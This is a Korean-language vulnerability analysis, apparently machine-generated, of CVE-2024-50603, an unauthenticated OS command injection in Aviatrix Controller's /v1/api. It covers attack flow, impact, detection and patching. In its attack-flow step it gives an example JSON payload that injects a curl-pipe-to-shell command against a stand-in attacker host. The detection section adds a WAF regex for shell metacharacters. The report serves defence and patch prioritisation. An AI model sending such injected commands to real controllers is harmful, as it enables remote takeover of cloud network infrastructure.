[공격] 분석 — CVE-2024-50603
Unauthenticated OS‑command injection in Aviatrix Controller’s /v1/api allows immediate remote code execution; patch now, block the endpoint, and enforce strict input validation.
📋 요약
- 심각도 critical · CVSS 10.0 · EPSS 0.98545 · 악용난이도 easy · KEV
🔍 공격 기법
-
공격 표면
POST https://<controller>/v1/apiJSON body- 파라미터:
cloud_type(used by list_flightpath_destination_instances) 또는src_cloud_type(flightpath_connection_test) - 해당 값은 내부적으로 쉘 명령어에 직접 삽입되는 문자열이며, 허용값 검증이 전혀 이루어지지 않음.
-
트리거 조건
- 파라미터에 쉘 메타문자(
;,&&,|,`등)를 포함시키면 백엔드에서system/exec호출로 전달 → OS 명령 실행.
- 파라미터에 쉘 메타문자(
-
공격 흐름
1️⃣ 정찰 – 서비스가 외부·내부망에 노출된 경우 HTTP OPTIONS, Swagger 혹은 직접
/v1/api응답을 확인해 엔드포인트와 지원 메서드를 식별.
2️⃣ 초기 접근 – 인증이 필요 없으므로 아무 IP에서든 crafted JSON POST 전송 가능. (DGX_C가 제시한 “내부망 제한”은 방어 차원일 뿐, 이미 내부에 침투된 경우 동일하게 이용 가능)
3️⃣ 명령 실행 – 예:{"cloud_type":"aws; curl http://attacker/payload|sh"}→ 컨트롤러 프로세스가 해당 문자열을 그대로 쉘에 전달하고 임의 명령이 실행.
4️⃣ 권한 획득 – Aviatrix Controller 서비스는 보통 root 혹은 전용 시스템 계정으로 동작하므로, 삽입된 명령도 동일 권한으로 실행돼 시스템 파일 수정·백도어 설치가 가능.
5️⃣ 지속화 –systemdunit, cron, 또는 컨테이너 이미지 변조 등 최소 권한 프로세스로 영구화.
6️⃣ 영향 확대 – 컨트롤러는 전체 클라우드 네트워크 플라이트패스를 관리하므로, 침해된 호스트를 통해 VPC‑TransitGateway 설정을 조작하거나 다른 계정의 API 토큰을 탈취·재사용 가능 (DGX_2·DGX_3이 강조한 “Single Point of Failure” 시나리오). -
CVSS ↔ 실제 조건 매핑
- AV = Network → 네트워크를 통한 직접 접근 가능
- AC = Low → 특수 문자 삽입만으로 충분, 복잡도 낮음
- PR = None → 인증 불필요
- UI = None → 사용자 상호작용 전혀 필요하지 않음
-
추가 고려 – API 게이트웨이 단계에서 입력 필터링(특수 문자 차단) 여부를 먼저 확인해야 함 (DGX_2·DGX_A 지적). 필터링이 없을 경우 방어는 패치와 WAF 적용에 의존하게 됨.
악용 가능성: 이 취약점은 네트워크를 통해 외부에서 직접 접근 가능한 /v1/api 엔드포인트가 노출되어 있어, 공격자는 별도의 인증 없이( PR:N ) 요청을 전송할 수 있습니다. AV가 Network(N)이고 복잡도 AC가 Low(L)이므로, 기본적인 HTTP 클라이언트만으로도 충분히 시도할 수 있으며, 사용자 개입(UI)은 전혀 요구되지 않습니다(UI:N). 실제 EPSS 점수 0.98545와 KEV 등재 사실은 이미 실전에서 악용된 사례가 다수 보고되어, 이론적 심각도와 무관하게 높은 위협 수준임을 증명합니다. 공격자는 cloud_type 파라미터에 쉘 메타문자(예: ;, &&)를 삽입해 list_flightpath_destination_instances 혹은 flightpath_connection_test 호출 시 OS 명령어가 그대로 실행되도록 유도할 수 있습니다. 이 과정에서 초기 정찰 단계는 공개 API 문서나 Swagger UI 등을 통해 엔드포인트와 파라미터 구조를 확인하고, 이어지는 명령 삽입 단계에서는 단일 HTTP POST 요청만으로 임의 코드를 실행합니다. 성공 시 공격자는 컨트롤러 서버 수준의 권한을 획득해 클라우드 인프라 전반에 대한 제어권을 확보할 수 있습니다.
💥 영향 분석
- 성공 시 컨트롤러가 실행 중인 호스트 전체 장악 → 루트 권한 명령 수행, 시스템 파일 변조, 백도어 설치.
- 침해된 컨트롤러를 통해 클라우드 라우팅·보안 정책을 임의 변경, VPC 연결 차단·재구성, 민감 데이터 탈취 및 추가 계정에 대한 API 토큰 획득 가능.
🔗 관련 취약점·체이닝
- CWE‑78 (OS Command Injection) – 입력 검증 부재가 직접 RCE를 초래.
- 추정: 동일 컨트롤러에 존재하는 인증 토큰 저장/조회 API(예: token endpoint)가 별도 CVE로 보고된 경우, 초기 RCE 후 해당 토큰을 탈취해 Privilege Escalation 및 Session Hijacking으로 연결될 수 있음.
- 일반적인 체인 패턴: Command Injection → Arbitrary Binary Drop → Persistence (systemd/cron) → Lateral Movement via Cloud API.
🔎 탐지
- 웹 서버 로그에
cloud_type또는src_cloud_type파라미터에;,&&,|,`등이 포함된 요청이 기록될 경우. - WAF/IPS에서 “OS command injection” 시그니처 매칭, 예:
.*(;|\|\||&&).*로 차단 및 알림. - 컨트롤러 프로세스의 비정상적인
execve호출 빈도 급증 또는 새 실행 파일 생성 로그.
🛡️ 완화 방안
1️⃣ 즉시 패치 – Aviatrix에서 제공하는 7.1.4191 이상, 7.2.4996 이상 버전으로 업데이트 (우선순위 = immediate, EPSS 0.98545·KEV 등재).
2️⃣ 네트워크 차단 – 외부 IP가 /v1/api에 직접 접근하지 못하도록 방화벽/보안그룹 규칙 적용; 내부에서도 최소 권한 원칙에 따라 필요 서비스만 허용.
3️⃣ 입력 검증 강화 – cloud_type, src_cloud_type을 enum(허용값)으로 제한하고, 쉘 메타문자를 차단·이스케이프 처리. API 게이트웨이 레벨에서 특수 문자 필터링 여부를 반드시 확인.
4️⃣ WAF 룰 적용 – 위 탐지 패턴을 기반으로 차단 규칙 추가.
5️⃣ 프로세스 격리 – 컨트롤러 서비스를 최소 권한 전용 계정으로 실행하고, 시스템 호출 모니터링(eg. Falco) 활성화.
6️⃣ 모니터링·알림 – API 호출 로그와 시스템 콜 감시를 실시간으로 수집·분석하고, 이상 징후 발생 시 즉시 알람.
다중 소스 교차검증 결과 일관성이 확인되었으며(교차검증 = 1.0), EPSS 0.98545는 실제 악용 가능성을 거의 100%에 가깝게 예측함. KEV 등재와 CVSS 10.0 점수로 인해 “immediate” 대응이 규칙 기반으로 결정되었습니다.
⚖️ 위험도 / 우선순위
- 조치: immediate (지금 즉시(24h 내))
- 근거: CVSS=10.0 · KEV · EPSS=0.98545 · exploit=easy · in_scope=None